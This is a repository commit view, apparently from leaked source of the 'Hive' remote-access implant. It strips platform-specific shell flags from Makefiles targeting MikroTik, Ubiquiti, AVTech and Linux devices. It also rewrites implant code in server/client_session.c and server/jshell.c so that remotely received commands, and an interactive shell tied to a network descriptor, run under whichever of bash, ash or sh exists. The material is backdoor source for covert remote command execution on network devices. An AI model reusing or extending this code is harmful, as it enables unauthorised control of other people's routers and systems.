Projects STRLCPY Vault-8-Hive Commits ee743369
🤬
  • Fix shell selection to use whatever shell is available in /bin.

  • Loading...
  • User #142 committed 9 years ago
    ee743369
    1 parent 5a634de9
  • ■ ■ ■ ■ ■ ■
    common/Makefile-include.avtech-arm
    skipped 11 lines
    12 12  STRIP=${BIN}/strip
    13 13   
    14 14  CFLAGS += -I$(HEADERS)
    15  -CFLAGS += -DLINUX -DAVTECH_ARM -D_USE_ASH -static
     15 +CFLAGS += -DLINUX -DAVTECH_ARM -static
    16 16  CFLAGS += -DUCLIBC
    17 17   
    18  -LDFLAGS += -lutil
     18 +LDFLAGS += -L$(LIBX) -lpthread -lutil
    19 19   
  • ■ ■ ■ ■ ■
    common/Makefile-include.linux-x86
    skipped 13 lines
    14 14  CFLAGS += -I$(UCLIBC_HDRS)
    15 15  CFLAGS += -DLINUX -D_X86 -m32 -static
    16 16  CFLAGS += -DUCLIBC
    17  -CFLAGS += -D_USE_BASH
    18 17  CFLAGS += -D__BYTE_ORDER=__LITTLE_ENDIAN
    19 18   
    20 19  LDFLAGS += -lutil -L$(UCLIBC_LIBS)
    skipped 3 lines
  • ■ ■ ■ ■ ■
    common/Makefile-include.linux-x86_64
    skipped 2 lines
    3 3  #------------------------------------------------
    4 4  CFLAGS += -DLINUX -D_X86_64
    5 5  CFLAGS += -D_FILE_OFFSET_BITS=64 -m64
    6  -CFLAGS += -D_USE_BASH
    7 6   
    8 7  LDFLAGS += -lutil
    9 8   
  • ■ ■ ■ ■
    common/Makefile-include.mikrotik-mips
    skipped 14 lines
    15 15  CFLAGS += -DLINUX -DMIKROTIK -D_MIPS -static
    16 16  CFLAGS += -D_MIPS_SZPTR=32 -D_BIG_ENDIAN -D__BYTE_ORDER=BIG_ENDIAN
    17 17  CFLAGS += -DUCLIBC
    18  -CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_USE_ASH -D_GNU_SOURCE
     18 +CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_GNU_SOURCE
    19 19   
    20 20  LDFLAGS += -lutil
    21 21   
    skipped 2 lines
  • ■ ■ ■ ■
    common/Makefile-include.mikrotik-mipsel
    skipped 14 lines
    15 15  CFLAGS += -DLINUX -DMIKROTIK -D_MIPSEL -static
    16 16  CFLAGS += -D_MIPS_SZPTR=32
    17 17  CFLAGS += -D__BYTE_ORDER=__LITTLE_ENDIAN
    18  -CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_USE_ASH -D_GNU_SOURCE
     18 +CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_GNU_SOURCE
    19 19  CFLAGS += -D_USE_UNLINK
    20 20  CFLAGS += -D_GNU_SOURCE
    21 21  LDFLAGS += -lutil
    skipped 3 lines
  • ■ ■ ■ ■
    common/Makefile-include.mikrotik-ppc
    skipped 12 lines
    13 13   
    14 14  CFLAGS += -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS)
    15 15  CFLAGS += -DLINUX -DMIKROTIK -D_PPC -static
    16  -CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_USE_ASH -D_GNU_SOURCE
     16 +CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -DUCLIBC -D_GNU_SOURCE
    17 17   
    18 18  LDFLAGS += -lutil
    19 19   
    skipped 2 lines
  • ■ ■ ■ ■
    common/Makefile-include.mikrotik-x86
    skipped 13 lines
    14 14  CFLAGS += -I$(UCLIBC_HDRS)
    15 15  CFLAGS += -DLINUX -DMIKROTIK -D_X86 -m32 -static
    16 16  CFLAGS += -DUCLIBC
    17  -CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_USE_ASH -D_GNU_SOURCE
     17 +CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_GNU_SOURCE
    18 18   
    19 19  LDFLAGS += -lutil -L$(UCLIBC_LIBS)
    20 20   
    skipped 2 lines
  • ■ ■ ■ ■ ■ ■
    common/Makefile-include.solaris-x86
    1  -#------------------------------------------------
    2  -# Makefile include for solaris-x86
    3  -#------------------------------------------------
    4  -MD5SUM = md5
    5  - 
    6  -CFLAGS += -DSOLARIS -D_X86 -m32
    7  -CFLAGS += -D_FILE_OFFSET_BITS=64
    8  - 
    9  -LDFLAGS += -lsocket -lnsl
    10  -ARFLAGS = r
    11  - 
  • ■ ■ ■ ■
    common/Makefile-include.ubiquiti-mips
    skipped 14 lines
    15 15  CFLAGS += -DLINUX -DUBIQUITI -D_MIPS -static
    16 16  CFLAGS += -D_MIPS_SZPTR=32 -D_BIG_ENDIAN -D__BYTE_ORDER=BIG_ENDIAN
    17 17  CFLAGS += -DUCLIBC
    18  -CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_USE_ASH -D_GNU_SOURCE
     18 +CFLAGS += -D_IPCONFIG -D_NETSTAT_AN -D_NETSTAT_RN -D_PS_EF -D_GNU_SOURCE
    19 19   
    20 20  LDFLAGS += -lutil
    21 21   
    skipped 2 lines
  • ■ ■ ■ ■ ■
    server/client_session.c
    skipped 592 lines
    593 593   pid_t pid;
    594 594   char* receivedCommand;
    595 595   
    596  -#ifdef LINUX
    597  - #ifdef _USE_ASH
    598  - // and actually, on the MT, /bin/bash is a symbolic link to /bin/ash which is part of /bin/busybox
    599  - char* shell="/bin/ash";
    600  - #elif _USE_BASH
    601  - char* shell="/bin/bash";
    602  - #else
    603  - char* shell="/bin/sh";
    604  - #endif
    605  -#else
    606  - char* shell="/bin/sh";
    607  -#endif
    608  - 
    609 596   receivedCommand = path;
    610 597   
    611 598   pid = fork();
    612 599   if (pid == 0)
    613 600   {
    614  - //This is the child so execute the command...
    615  - execl( shell, shell, "-c", receivedCommand, NULL);
     601 + // Use the first shell that will execute.
     602 + (void)execl("/bin/bash", "bash", "-c", receivedCommand, NULL);
     603 + (void)execl("/bin/ash", "ash", "-c", receivedCommand, NULL);
     604 + (void)execl("/bin/sh", "sh", "-c", receivedCommand, NULL);
    616 605   exit(EXIT_FAILURE);
    617 606   }
    618 607   else if (pid < 0)
    skipped 33 lines
  • ■ ■ ■ ■ ■ ■
    server/jshell.c
    skipped 212 lines
    213 213   // this is the child
    214 214   close( netfd );
    215 215   
    216  -#ifdef _USE_ASH
    217  - execl( "/bin/ash", "ash", (char *)0 );
    218  -#elif _USE_BASH
    219  - execl( "/bin/bash", "bash", (char *)0 );
    220  -#else
    221  - execl( "/bin/sh", "sh", (char *)0 );
    222  -#endif
     216 + // Find a shell that works. The first one that works doesn't return.
     217 + (void)execl( "/bin/bash", "bash", (char *)0 );
     218 + (void)execl( "/bin/ash", "ash", (char *)0 );
     219 + (void)execl( "/bin/sh", "sh", (char *)0 );
    223 220   
    224  - // not reached
     221 + // not reached (unless all of the above failed)
    225 222   return (void *)-1;
    226 223   }
    227 224   else
    skipped 11 lines
Please wait...
Page is in error, reload to recover